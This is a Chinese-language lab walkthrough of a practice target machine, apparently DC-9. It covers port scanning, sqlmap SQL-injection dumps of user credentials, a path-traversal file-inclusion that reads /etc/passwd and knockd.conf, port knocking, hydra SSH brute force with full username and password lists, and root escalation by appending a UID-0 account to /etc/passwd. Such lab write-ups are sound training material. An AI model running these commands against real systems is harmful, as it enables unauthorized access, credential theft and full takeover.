这里使用在线平台启动环境,本地kali使用openvpn来打靶机
一、信息收集
由于不是本地搭建的,直接省略主机发现的过程
1、端口扫描
nmap --min-rate 10000 -p- 192.168.151.209
2、端口信息收集
nmap -sT -sV -O -p22,80,9263,59446,64619 192.168.151.209
可以看到就只有80端口能有攻击点,其它端口都是关闭状态
3、使用默认脚本扫描端口
nmap --script=vuln 192.168.151.209
显示可能有csrf
4、指纹识别
whatweb http://192.168.151.209
啥也没有
5、目录扫描
dirsearch -u http://192.168.151.209
二、攻击利用
访问web网站
没有什么明显的特征
在search.php页面发现sql注入
这是个post注入,准备好数据包
使用sqlmap
sqlmap -r 2.txt --dbs
得到三个数据库
查表
sqlmap -r 2.txt -D Staff --tables --batch
查字段
sqlmap -r 2.txt -D Staff -T Users --columns -batch
查Users数据表
sqlmap -r dc9.txt -D Staff -T Users --dump
查StaffDetails表
sqlmap -r 2.txt -D Staff -T StaffDetails --dump --batch
查看users数据库中的表名
sqlmap -r 2.txt -D users --tables --batch
查UserDetails表中数据
sqlmap -r 2.txt -D users -T UserDetails --dump
刚刚上面已经得到了一个admin用户的账号密码
使用admin/transorbital1登录网站
成功登录
登录后没有什么利用的点,然后每个页面都显示文件不存在
尝试一下文件包含,发现确实存在文件包含
http://192.168.151.209/manage.php?file=../../../../etc/passwd
直接连ssh是无法连上的
看大佬的wp,这里ssh被过滤了,有一个knockd.conf文件
http://192.168.151.209/manage.php?file=../../../../etc/knockd.conf
这里解释一下
knockd
是一个端口敲击(port knocking)守护程序,提供了一种安全的方式来控制对服务器端口的访问。这种机制允许用户通过特定的网络活动(即在特定顺序敲击一组端口)来动态开启某个服务的访问权限,通常用于保护 SSH 服务等,以提高安全性。
Port Knocking 基本原理
- 当用户通过连接某个特定的端口序列(即“敲击”)向服务器发送请求时,
knockd
会监听这些请求。 - 一旦检测到用户按预定顺序敲击端口,
knockd
将修改 iptables(或其他防火墙)规则,允许指定的 IP 地址访问特定的端口。 - 这种机制有效地隐藏了服务端口,使得未授权用户(即未知道正确顺序的用户)无法轻易发现目标服务。
因此我们要先轮流敲命令
nmap 192.168.151.209 -p 7469
nmap 192.168.151.209 -p 8475
nmap 192.168.151.209 -p 9842
然后再去连接就行了
我们没有密码,只能使用刚刚数据库得到的密码进行爆破
用gpt生成对应的账号和密码字典
username.txt
marym
julied
fredf
barneyr
tomc
jerrym
wilmaf
bettyr
chandlerb
joeyt
rachelg
rossg
monicag
phoebeb
scoots
janitor
janitor2
pass.txt
3kfs86sfd
468sfdfsd2
4sfd87sfd1
RocksOff
TC&TheBoyz
B8m#48sd
Pebbles
BamBam01
UrAG0D!
Passw0rd
yN72#dsd
ILoveRachel
3248dsds7s
smellycats
YR3BVxxxw87
Ilovepeepee
Hawaii-Five-0
注意空格
使用hydra进行爆破
hydra -L username.txt -P pass.txt ssh://192.168.151.209
成功登录janitor
查看权限
啥都没有,其它用户也是这样
最后在janitor用户里面找到一个隐藏目录
ls -la
又找到几个密码
再次爆破
使用fredf登录
sudo -l
发现/opt/devstuff/dist/test/test
文件有root权限
看这个目录结构,很像python的打包工具生成的目录,在前面几个目录找到了源码
代码的意思是将第一个文件的内容写入第二个文件中
因此可以创建一个文件写入root权限的信息,然后用test将其写入到/etc/passwd中
openssl passwd -1 -salt admin admin
得到$1$admin$1kgWpnZpUx.vTroWPXPIB0
准备一个test2文件,写入要写进/etc/passwd的payload
echo 'admin1:$1$admin$1kgWpnZpUx.vTroWPXPIB0:0:0::/root:/bin/bash' >> /tmp/test2
执行这个test
sudo /opt/devstuff/dist/test/test /tmp/test2 /etc/passwd
查看一下cat /etc/passwd
成功写入/etc/passwd
切换admin1用户
su admin1
到这里就结束了,我这个在线环境没有flag
总结
- sql注入得到账号密码
- 利用文件包含漏洞得到knockd.conf文件
- 验证
knockd
服务打开22端口 - ssh爆破登录账号,信息收集其它密码
- 利用root权限的脚本写入账户到
/etc/passwd
进行提权